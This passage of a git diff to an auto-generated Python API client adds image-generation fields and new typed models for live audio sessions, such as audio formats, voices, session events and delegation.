FineTuningJobSucceededWebhookEvent,
LiveCallIncomingWebhookEvent,
+ LiveTransportIncomingWebhookEvent,
RealtimeCallIncomingWebhookEvent,
ResponseCancelledWebhookEvent,
ResponseCompletedWebhookEvent,
diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index ae776df388..51d12ff5ec 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -512,15 +512,27 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]] = None
+ """The action used for image generation."""
+
agent: Optional[ImageGenerationCallAgent] = None
"""The agent that produced this item."""
+ background: Optional[Literal["transparent", "opaque", "auto"]] = None
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]] = None
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str] = None
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index fe114e9ed9..f72706323d 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -511,15 +511,27 @@ class ImageGenerationCall(TypedDict, total=False):
type: Required[Literal["image_generation_call"]]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]]
+ """The action used for image generation."""
+
agent: Optional[ImageGenerationCallAgent]
"""The agent that produced this item."""
+ background: Optional[Literal["transparent", "opaque", "auto"]]
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]]
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str]
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index 471ce35136..2f640b77aa 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -512,15 +512,27 @@ class ImageGenerationCall(TypedDict, total=False):
type: Required[Literal["image_generation_call"]]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]]
+ """The action used for image generation."""
+
agent: Optional[ImageGenerationCallAgent]
"""The agent that produced this item."""
+ background: Optional[Literal["transparent", "opaque", "auto"]]
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]]
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str]
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index 35da9e3e5f..875a51ea31 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -351,15 +351,27 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]] = None
+ """The action used for image generation."""
+
agent: Optional[ImageGenerationCallAgent] = None
"""The agent that produced this item."""
+ background: Optional[Literal["transparent", "opaque", "auto"]] = None
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]] = None
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str] = None
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/beta/beta_response_output_item.py b/src/openai/types/beta/beta_response_output_item.py
index 4f41ed3423..7c2a74ca39 100644
--- a/src/openai/types/beta/beta_response_output_item.py
+++ b/src/openai/types/beta/beta_response_output_item.py
@@ -349,15 +349,27 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]] = None
+ """The action used for image generation."""
+
agent: Optional[ImageGenerationCallAgent] = None
"""The agent that produced this item."""
+ background: Optional[Literal["transparent", "opaque", "auto"]] = None
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]] = None
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str] = None
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/conversations/conversation_item.py b/src/openai/types/conversations/conversation_item.py
index f3e6eb7b0c..bb10ae15f8 100644
--- a/src/openai/types/conversations/conversation_item.py
+++ b/src/openai/types/conversations/conversation_item.py
@@ -59,12 +59,24 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]] = None
+ """The action used for image generation."""
+
+ background: Optional[Literal["transparent", "opaque", "auto"]] = None
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]] = None
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str] = None
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/live/__init__.py b/src/openai/types/live/__init__.py
new file mode 100644
index 0000000000..6d19983ed2
--- /dev/null
+++ b/src/openai/types/live/__init__.py
@@ -0,0 +1,95 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .error import Error as Error
+from .info_event import InfoEvent as InfoEvent
+from .error_event import ErrorEvent as ErrorEvent
+from .audio_format import AudioFormat as AudioFormat
+from .client_event import ClientEvent as ClientEvent
+from .custom_voice import CustomVoice as CustomVoice
+from .initial_item import InitialItem as InitialItem
+from .server_event import ServerEvent as ServerEvent
+from .client_config import ClientConfig as ClientConfig
+from .function_tool import FunctionTool as FunctionTool
+from .session_usage import SessionUsage as SessionUsage
+from .built_in_voice import BuiltInVoice as BuiltInVoice
+from .response_event import ResponseEvent as ResponseEvent
+from .session_config import SessionConfig as SessionConfig
+from .session_resource import SessionResource as SessionResource
+from .client_delegation import ClientDelegation as ClientDelegation
+from .fork_client_event import ForkClientEvent as ForkClientEvent
+from .fork_server_event import ForkServerEvent as ForkServerEvent
+from .audio_format_param import AudioFormatParam as AudioFormatParam
+from .client_event_param import ClientEventParam as ClientEventParam
+from .custom_voice_param import CustomVoiceParam as CustomVoiceParam
+from .initial_item_param import InitialItemParam as InitialItemParam
+from .live_create_params import LiveCreateParams as LiveCreateParams
+from .client_config_param import ClientConfigParam as ClientConfigParam
+from .data_channel_config import DataChannelConfig as DataChannelConfig
+from .fork_session_config import ForkSessionConfig as ForkSessionConfig
+from .function_tool_param import FunctionToolParam as FunctionToolParam
+from .session_close_event import SessionCloseEvent as SessionCloseEvent
+from .session_fork_params import SessionForkParams as SessionForkParams
+from .session_start_event import SessionStartEvent as SessionStartEvent
+from .connect_client_event import ConnectClientEvent as ConnectClientEvent
+from .connect_server_event import ConnectServerEvent as ConnectServerEvent
+from .live_create_response import LiveCreateResponse as LiveCreateResponse
+from .session_closed_event import SessionClosedEvent as SessionClosedEvent
+from .session_config_param import SessionConfigParam as SessionConfigParam
+from .session_refer_params import SessionReferParams as SessionReferParams
+from .session_update_event import SessionUpdateEvent as SessionUpdateEvent
+from .response_create_event import ResponseCreateEvent as ResponseCreateEvent
+from .server_event_selector import ServerEventSelector as ServerEventSelector
+from .session_accept_params import SessionAcceptParams as SessionAcceptParams
+from .session_fork_response import SessionForkResponse as SessionForkResponse
+from .session_reject_params import SessionRejectParams as SessionRejectParams
+from .session_started_event import SessionStartedEvent as SessionStartedEvent
+from .session_update_config import SessionUpdateConfig as SessionUpdateConfig
+from .session_updated_event import SessionUpdatedEvent as SessionUpdatedEvent
+from .thinking_append_event import ThinkingAppendEvent as ThinkingAppendEvent
+from .input_audio_mute_event import InputAudioMuteEvent as InputAudioMuteEvent
+from .client_delegation_param import ClientDelegationParam as ClientDelegationParam
+from .commentary_append_event import CommentaryAppendEvent as CommentaryAppendEvent
+from .fork_client_event_param import ForkClientEventParam as ForkClientEventParam
+from .input_audio_muted_event import InputAudioMutedEvent as InputAudioMutedEvent
+from .sideband_connect_params import SidebandConnectParams as SidebandConnectParams
+from .thinking_appended_event import ThinkingAppendedEvent as ThinkingAppendedEvent
+from .delegation_created_event import DelegationCreatedEvent as DelegationCreatedEvent
+from .fork_session_start_event import ForkSessionStartEvent as ForkSessionStartEvent
+from .input_audio_append_event import InputAudioAppendEvent as InputAudioAppendEvent
+from .input_audio_unmute_event import InputAudioUnmuteEvent as InputAudioUnmuteEvent
+from .output_audio_delta_event import OutputAudioDeltaEvent as OutputAudioDeltaEvent
+from .commentary_appended_event import CommentaryAppendedEvent as CommentaryAppendedEvent
+from .data_channel_config_param import DataChannelConfigParam as DataChannelConfigParam
+from .fork_session_config_param import ForkSessionConfigParam as ForkSessionConfigParam
+from .input_audio_unmuted_event import InputAudioUnmutedEvent as InputAudioUnmutedEvent
+from .instructions_append_event import InstructionsAppendEvent as InstructionsAppendEvent
+from .session_close_event_param import SessionCloseEventParam as SessionCloseEventParam
+from .session_start_event_param import SessionStartEventParam as SessionStartEventParam
+from .connect_client_event_param import ConnectClientEventParam as ConnectClientEventParam
+from .media_session_config_param import MediaSessionConfigParam as MediaSessionConfigParam
+from .response_item_create_event import ResponseItemCreateEvent as ResponseItemCreateEvent
+from .session_update_event_param import SessionUpdateEventParam as SessionUpdateEventParam
+from .instructions_appended_event import InstructionsAppendedEvent as InstructionsAppendedEvent
+from .response_create_event_param import ResponseCreateEventParam as ResponseCreateEventParam
+from .responses_delegation_config import ResponsesDelegationConfig as ResponsesDelegationConfig
+from .server_event_selector_param import ServerEventSelectorParam as ServerEventSelectorParam
+from .session_update_config_param import SessionUpdateConfigParam as SessionUpdateConfigParam
+from .session_usage_updated_event import SessionUsageUpdatedEvent as SessionUsageUpdatedEvent
+from .thinking_append_event_param import ThinkingAppendEventParam as ThinkingAppendEventParam
+from .input_audio_mute_event_param import InputAudioMuteEventParam as InputAudioMuteEventParam
+from .input_transcript_delta_event import InputTranscriptDeltaEvent as InputTranscriptDeltaEvent
+from .commentary_append_event_param import CommentaryAppendEventParam as CommentaryAppendEventParam
+from .output_transcript_delta_event import OutputTranscriptDeltaEvent as OutputTranscriptDeltaEvent
+from .fork_session_start_event_param import ForkSessionStartEventParam as ForkSessionStartEventParam
+from .input_audio_append_event_param import InputAudioAppendEventParam as InputAudioAppendEventParam
+from .input_audio_unmute_event_param import InputAudioUnmuteEventParam as InputAudioUnmuteEventParam
+from .instructions_append_event_param import InstructionsAppendEventParam as InstructionsAppendEventParam
+from .media_session_fork_config_param import MediaSessionForkConfigParam as MediaSessionForkConfigParam
+from .response_item_create_event_param import ResponseItemCreateEventParam as ResponseItemCreateEventParam
+from .responses_delegation_config_param import ResponsesDelegationConfigParam as ResponsesDelegationConfigParam
+from .responses_delegation_update_config import ResponsesDelegationUpdateConfig as ResponsesDelegationUpdateConfig
+from .responses_delegation_update_config_param import (
+ ResponsesDelegationUpdateConfigParam as ResponsesDelegationUpdateConfigParam,
+)
diff --git a/src/openai/types/live/audio_format.py b/src/openai/types/live/audio_format.py
new file mode 100644
index 0000000000..d932e8983b
--- /dev/null
+++ b/src/openai/types/live/audio_format.py
@@ -0,0 +1,45 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = ["AudioFormat", "AudioPCM", "AudioPCMU", "AudioPCMA"]
+
+
+class AudioPCM(BaseModel):
+ """Raw, mono 16-bit little-endian PCM audio for a Live WebSocket connection."""
+
+ rate: Literal[16000, 24000]
+ """Audio sample rate in hertz.
+
+ Live WebSocket PCM audio supports 16000 or 24000 Hz.
+ """
+
+ type: Literal["audio/pcm"]
+ """The audio encoding. Always `audio/pcm`."""
+
+
+class AudioPCMU(BaseModel):
+ """Raw, mono G.711 μ-law audio for a Live WebSocket connection."""
+
+ rate: int
+ """Audio sample rate in hertz. G.711 audio uses 8000 Hz."""
+
+ type: Literal["audio/pcmu"]
+ """The audio encoding. Always `audio/pcmu`."""
+
+
+class AudioPCMA(BaseModel):
+ """Raw, mono G.711 A-law audio for a Live WebSocket connection."""
+
+ rate: int
+ """Audio sample rate in hertz. G.711 audio uses 8000 Hz."""
+
+ type: Literal["audio/pcma"]
+ """The audio encoding. Always `audio/pcma`."""
+
+
+AudioFormat: TypeAlias = Annotated[Union[AudioPCM, AudioPCMU, AudioPCMA], PropertyInfo(discriminator="type")]
diff --git a/src/openai/types/live/audio_format_param.py b/src/openai/types/live/audio_format_param.py
new file mode 100644
index 0000000000..6e3dec8b6f
--- /dev/null
+++ b/src/openai/types/live/audio_format_param.py
@@ -0,0 +1,44 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["AudioFormatParam", "AudioPCM", "AudioPCMU", "AudioPCMA"]
+
+
+class AudioPCM(TypedDict, total=False):
+ """Raw, mono 16-bit little-endian PCM audio for a Live WebSocket connection."""
+
+ rate: Required[Literal[16000, 24000]]
+ """Audio sample rate in hertz.
+
+ Live WebSocket PCM audio supports 16000 or 24000 Hz.
+ """
+
+ type: Required[Literal["audio/pcm"]]
+ """The audio encoding. Always `audio/pcm`."""
+
+
+class AudioPCMU(TypedDict, total=False):
+ """Raw, mono G.711 μ-law audio for a Live WebSocket connection."""
+
+ rate: Required[int]
+ """Audio sample rate in hertz. G.711 audio uses 8000 Hz."""
+
+ type: Required[Literal["audio/pcmu"]]
+ """The audio encoding. Always `audio/pcmu`."""
+
+
+class AudioPCMA(TypedDict, total=False):
+ """Raw, mono G.711 A-law audio for a Live WebSocket connection."""
+
+ rate: Required[int]
+ """Audio sample rate in hertz. G.711 audio uses 8000 Hz."""
+
+ type: Required[Literal["audio/pcma"]]
+ """The audio encoding. Always `audio/pcma`."""
+
+
+AudioFormatParam: TypeAlias = Union[AudioPCM, AudioPCMU, AudioPCMA]
diff --git a/src/openai/types/live/built_in_voice.py b/src/openai/types/live/built_in_voice.py
new file mode 100644
index 0000000000..cb6b628e93
--- /dev/null
+++ b/src/openai/types/live/built_in_voice.py
@@ -0,0 +1,30 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["BuiltInVoice"]
+
+BuiltInVoice: TypeAlias = Literal[
+ "alloy",
+ "ash",
+ "ballad",
+ "beacon",
+ "bossa",
+ "cedar",
+ "cinder",
+ "coral",
+ "delta",
+ "echo",
+ "gleam",
+ "marin",
+ "meridian",
+ "quartz",
+ "ripple",
+ "sage",
+ "shimmer",
+ "stone",
+ "tempo",
+ "verse",
+ "vesper",
+ "willow",
+]
diff --git a/src/openai/types/live/client_config.py b/src/openai/types/live/client_config.py
new file mode 100644
index 0000000000..7e24a54a11
--- /dev/null
+++ b/src/openai/types/live/client_config.py
@@ -0,0 +1,15 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from ..._models import BaseModel
+from .data_channel_config import DataChannelConfig
+
+__all__ = ["ClientConfig"]
+
+
+class ClientConfig(BaseModel):
+ """
+ Startup-only capabilities for an untrusted frontend attached to a unified WebRTC session. Trusted sideband connections are unaffected.
+ """
+
+ data_channel: DataChannelConfig
+ """Client and server event permissions for the WebRTC frontend data channel."""
diff --git a/src/openai/types/live/client_config_param.py b/src/openai/types/live/client_config_param.py
new file mode 100644
index 0000000000..604be726d1
--- /dev/null
+++ b/src/openai/types/live/client_config_param.py
@@ -0,0 +1,18 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+from .data_channel_config_param import DataChannelConfigParam
+
+__all__ = ["ClientConfigParam"]
+
+
+class ClientConfigParam(TypedDict, total=False):
+ """
+ Startup-only capabilities for an untrusted frontend attached to a unified WebRTC session. Trusted sideband connections are unaffected.
+ """
+
+ data_channel: Required[DataChannelConfigParam]
+ """Client and server event permissions for the WebRTC frontend data channel."""
diff --git a/src/openai/types/live/client_delegation.py b/src/openai/types/live/client_delegation.py
new file mode 100644
index 0000000000..6826f18f07
--- /dev/null
+++ b/src/openai/types/live/client_delegation.py
@@ -0,0 +1,17 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ClientDelegation"]
+
+
+class ClientDelegation(BaseModel):
+ """Delegate tasks to your application.
+
+ The Live session emits delegation events that your backend handles.
+ """
+
+ type: Literal["client"]
+ """The delegation owner. Always `client` for tasks handled by your application."""
diff --git a/src/openai/types/live/client_delegation_param.py b/src/openai/types/live/client_delegation_param.py
new file mode 100644
index 0000000000..018c8add78
--- /dev/null
+++ b/src/openai/types/live/client_delegation_param.py
@@ -0,0 +1,17 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["ClientDelegationParam"]
+
+
+class ClientDelegationParam(TypedDict, total=False):
+ """Delegate tasks to your application.
+
+ The Live session emits delegation events that your backend handles.
+ """
+
+ type: Required[Literal["client"]]
+ """The delegation owner. Always `client` for tasks handled by your application."""
diff --git a/src/openai/types/live/client_event.py b/src/openai/types/live/client_event.py
new file mode 100644
index 0000000000..b804b896c2
--- /dev/null
+++ b/src/openai/types/live/client_event.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .session_close_event import SessionCloseEvent
+from .session_start_event import SessionStartEvent
+from .session_update_event import SessionUpdateEvent
+from .response_create_event import ResponseCreateEvent
+from .thinking_append_event import ThinkingAppendEvent
+from .input_audio_mute_event import InputAudioMuteEvent
+from .commentary_append_event import CommentaryAppendEvent
+from .input_audio_append_event import InputAudioAppendEvent
+from .input_audio_unmute_event import InputAudioUnmuteEvent
+from .instructions_append_event import InstructionsAppendEvent
+from .response_item_create_event import ResponseItemCreateEvent
+
+__all__ = ["ClientEvent"]
+
+ClientEvent: TypeAlias = Annotated[
+ Union[
+ SessionStartEvent,
+ SessionUpdateEvent,
+ InputAudioAppendEvent,
+ InputAudioMuteEvent,
+ InputAudioUnmuteEvent,
+ InstructionsAppendEvent,
+ ThinkingAppendEvent,
+ CommentaryAppendEvent,
+ ResponseItemCreateEvent,
+ ResponseCreateEvent,
+ SessionCloseEvent,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/live/client_event_param.py b/src/openai/types/live/client_event_param.py
new file mode 100644
index 0000000000..be0ec9015a
--- /dev/null
+++ b/src/openai/types/live/client_event_param.py
@@ -0,0 +1,34 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import TypeAlias
+
+from .session_close_event_param import SessionCloseEventParam
+from .session_start_event_param import SessionStartEventParam
+from .session_update_event_param import SessionUpdateEventParam
+from .response_create_event_param import ResponseCreateEventParam
+from .thinking_append_event_param import ThinkingAppendEventParam
+from .input_audio_mute_event_param import InputAudioMuteEventParam
+from .commentary_append_event_param import CommentaryAppendEventParam
+from .input_audio_append_event_param import InputAudioAppendEventParam
+from .input_audio_unmute_event_param import InputAudioUnmuteEventParam
+from .instructions_append_event_param import InstructionsAppendEventParam
+from .response_item_create_event_param import ResponseItemCreateEventParam
+
+__all__ = ["ClientEventParam"]
+
+ClientEventParam: TypeAlias = Union[
+ SessionStartEventParam,
+ SessionUpdateEventParam,
+ InputAudioAppendEventParam,
+ InputAudioMuteEventParam,
+ InputAudioUnmuteEventParam,
+ InstructionsAppendEventParam,
+ ThinkingAppendEventParam,
+ CommentaryAppendEventParam,
+ ResponseItemCreateEventParam,
+ ResponseCreateEventParam,
+ SessionCloseEventParam,
+]
diff --git a/src/openai/types/live/commentary_append_event.py b/src/openai/types/live/commentary_append_event.py
new file mode 100644
index 0000000000..6f6e6b0c2c
--- /dev/null
+++ b/src/openai/types/live/commentary_append_event.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["CommentaryAppendEvent"]
+
+
+class CommentaryAppendEvent(BaseModel):
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+
+ content: str
+ """Speakable context for the Live model, limited to 500 tokens.
+
+ Use this for a result the model should communicate; use session.thinking.append
+ for silent context.
+ """
+
+ delegation_id: Optional[str] = None
+ """Required, nullable.
+
+ Set null for general session context, or use the ID from
+ session.delegation.created for an existing client delegation. Non-null IDs are
+ not accepted with Responses delegation.
+ """
+
+ type: Literal["session.commentary.append"]
+ """The Live client event type. Always `session.commentary.append`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/commentary_append_event_param.py b/src/openai/types/live/commentary_append_event_param.py
new file mode 100644
index 0000000000..f390075c56
--- /dev/null
+++ b/src/openai/types/live/commentary_append_event_param.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["CommentaryAppendEventParam"]
+
+
+class CommentaryAppendEventParam(TypedDict, total=False):
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+
+ content: Required[str]
+ """Speakable context for the Live model, limited to 500 tokens.
+
+ Use this for a result the model should communicate; use session.thinking.append
+ for silent context.
+ """
+
+ delegation_id: Required[Optional[str]]
+ """Required, nullable.
+
+ Set null for general session context, or use the ID from
+ session.delegation.created for an existing client delegation. Non-null IDs are
+ not accepted with Responses delegation.
+ """
+
+ type: Required[Literal["session.commentary.append"]]
+ """The Live client event type. Always `session.commentary.append`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/commentary_appended_event.py b/src/openai/types/live/commentary_appended_event.py
new file mode 100644
index 0000000000..df5abf2f29
--- /dev/null
+++ b/src/openai/types/live/commentary_appended_event.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["CommentaryAppendedEvent"]
+
+
+class CommentaryAppendedEvent(BaseModel):
+ """
+ Returned when a session.commentary.append command is accepted into the Live session timeline. Acknowledges the added commentary without guaranteeing exact wording or completed audio playback.
+ """
+
+ end_ms: int
+ """
+ The end of this event on the Live session timeline, in milliseconds from the
+ beginning of the session. For appended context, this can equal start_ms.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ start_ms: int
+ """
+ The start of this event on the Live session timeline, in milliseconds from the
+ beginning of the session.
+ """
+
+ type: Literal["session.commentary.appended"]
+ """The event type, always `session.commentary.appended`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/connect_client_event.py b/src/openai/types/live/connect_client_event.py
new file mode 100644
index 0000000000..30433d3069
--- /dev/null
+++ b/src/openai/types/live/connect_client_event.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .session_close_event import SessionCloseEvent
+from .session_update_event import SessionUpdateEvent
+from .response_create_event import ResponseCreateEvent
+from .thinking_append_event import ThinkingAppendEvent
+from .input_audio_mute_event import InputAudioMuteEvent
+from .commentary_append_event import CommentaryAppendEvent
+from .input_audio_unmute_event import InputAudioUnmuteEvent
+from .instructions_append_event import InstructionsAppendEvent
+from .response_item_create_event import ResponseItemCreateEvent
+
+__all__ = ["ConnectClientEvent"]
+
+ConnectClientEvent: TypeAlias = Annotated[
+ Union[
+ SessionUpdateEvent,
+ InputAudioMuteEvent,
+ InputAudioUnmuteEvent,
+ InstructionsAppendEvent,
+ ThinkingAppendEvent,
+ CommentaryAppendEvent,
+ ResponseItemCreateEvent,
+ ResponseCreateEvent,
+ SessionCloseEvent,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/live/connect_client_event_param.py b/src/openai/types/live/connect_client_event_param.py
new file mode 100644
index 0000000000..9fadbcb69e
--- /dev/null
+++ b/src/openai/types/live/connect_client_event_param.py
@@ -0,0 +1,30 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import TypeAlias
+
+from .session_close_event_param import SessionCloseEventParam
+from .session_update_event_param import SessionUpdateEventParam
+from .response_create_event_param import ResponseCreateEventParam
+from .thinking_append_event_param import ThinkingAppendEventParam
+from .input_audio_mute_event_param import InputAudioMuteEventParam
+from .commentary_append_event_param import CommentaryAppendEventParam
+from .input_audio_unmute_event_param import InputAudioUnmuteEventParam
+from .instructions_append_event_param import InstructionsAppendEventParam
+from .response_item_create_event_param import ResponseItemCreateEventParam
+
+__all__ = ["ConnectClientEventParam"]
+
+ConnectClientEventParam: TypeAlias = Union[
+ SessionUpdateEventParam,
+ InputAudioMuteEventParam,
+ InputAudioUnmuteEventParam,
+ InstructionsAppendEventParam,
+ ThinkingAppendEventParam,
+ CommentaryAppendEventParam,
+ ResponseItemCreateEventParam,
+ ResponseCreateEventParam,
+ SessionCloseEventParam,
+]
diff --git a/src/openai/types/live/connect_server_event.py b/src/openai/types/live/connect_server_event.py
new file mode 100644
index 0000000000..6b5b57ae50
--- /dev/null
+++ b/src/openai/types/live/connect_server_event.py
@@ -0,0 +1,44 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .info_event import InfoEvent
+from .error_event import ErrorEvent
+from .response_event import ResponseEvent
+from .session_closed_event import SessionClosedEvent
+from .session_started_event import SessionStartedEvent
+from .session_updated_event import SessionUpdatedEvent
+from .input_audio_muted_event import InputAudioMutedEvent
+from .thinking_appended_event import ThinkingAppendedEvent
+from .delegation_created_event import DelegationCreatedEvent
+from .commentary_appended_event import CommentaryAppendedEvent
+from .input_audio_unmuted_event import InputAudioUnmutedEvent
+from .instructions_appended_event import InstructionsAppendedEvent
+from .session_usage_updated_event import SessionUsageUpdatedEvent
+from .input_transcript_delta_event import InputTranscriptDeltaEvent
+from .output_transcript_delta_event import OutputTranscriptDeltaEvent
+
+__all__ = ["ConnectServerEvent"]
+
+ConnectServerEvent: TypeAlias = Annotated[
+ Union[
+ SessionStartedEvent,
+ SessionUpdatedEvent,
+ InputAudioMutedEvent,
+ InputAudioUnmutedEvent,
+ InstructionsAppendedEvent,
+ ThinkingAppendedEvent,
+ CommentaryAppendedEvent,
+ InputTranscriptDeltaEvent,
+ OutputTranscriptDeltaEvent,
+ DelegationCreatedEvent,
+ ResponseEvent,
+ SessionUsageUpdatedEvent,
+ SessionClosedEvent,
+ ErrorEvent,
+ InfoEvent,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/live/custom_voice.py b/src/openai/types/live/custom_voice.py
new file mode 100644
index 0000000000..da1b4eb074
--- /dev/null
